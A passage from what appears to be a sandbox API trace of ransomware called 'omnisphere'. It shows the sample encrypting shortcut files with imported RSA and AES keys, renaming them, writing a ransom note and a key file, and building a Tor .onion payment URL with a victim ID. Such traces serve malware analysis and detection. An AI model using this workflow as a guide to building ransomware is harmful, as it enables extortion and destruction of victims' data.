returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk" [0118.999] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.999] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5qadbuslm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.999] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=880) returned 1 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0118.999] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] GetTickCount () returned 0x115dbc6 [0119.000] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f00) returned 1 [0119.000] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.001] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.001] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.001] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0119.001] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x288 [0119.001] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x1480000 [0119.001] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0119.001] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0119.002] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.002] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.003] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.004] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.004] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0119.004] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.004] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.004] GetProcessHeap () returned 0x1600000 [0119.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x165dee0 [0119.004] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5qadbuslm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5qadbuslm.lnk.omnisphere")) returned 1 [0119.005] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk.omnisphere.id" [0119.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\5qadbuslm.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.005] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.006] CloseHandle (hObject=0x3c0) returned 1 [0119.007] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.007] CloseHandle (hObject=0x288) returned 1 [0119.007] SetEndOfFile (hFile=0x28c) returned 1 [0119.007] FlushFileBuffers (hFile=0x28c) returned 1 [0119.038] CloseHandle (hObject=0x28c) returned 1 [0119.038] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5QADBusLM.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.038] GetProcessHeap () returned 0x1600000 [0119.038] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165e198 [0119.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.038] GetProcessHeap () returned 0x1600000 [0119.038] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693f08 [0119.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693f08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.038] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.038] GetProcessHeap () returned 0x1600000 [0119.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afba8 [0119.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afba8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.039] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.039] GetProcessHeap () returned 0x1600000 [0119.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a25e8 [0119.039] PathCombineW (in: pszDest=0x16a25e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.039] GetProcessHeap () returned 0x1600000 [0119.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ab390 [0119.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.039] WriteFile (in: hFile=0x28c, lpBuffer=0x16ab390*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ab390*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.039] CloseHandle (hObject=0x28c) returned 1 [0119.039] GetProcessHeap () returned 0x1600000 [0119.039] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e198 | out: hHeap=0x1600000) returned 1 [0119.039] GetProcessHeap () returned 0x1600000 [0119.039] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.039] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.040] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.040] CloseHandle (hObject=0x28c) returned 1 [0119.040] GetProcessHeap () returned 0x1600000 [0119.040] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.040] GetProcessHeap () returned 0x1600000 [0119.040] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656820 | out: hHeap=0x1600000) returned 1 [0119.040] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6aee6c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e6aee6c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e6aee6c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="6nik2H95B_ogXKnNe.lnk", cAlternateFileName="6NIK2H~1.LNK")) returned 1 [0119.040] GetProcessHeap () returned 0x1600000 [0119.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16a2758 [0119.040] PathCombineW (in: pszDest=0x16a2758, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", 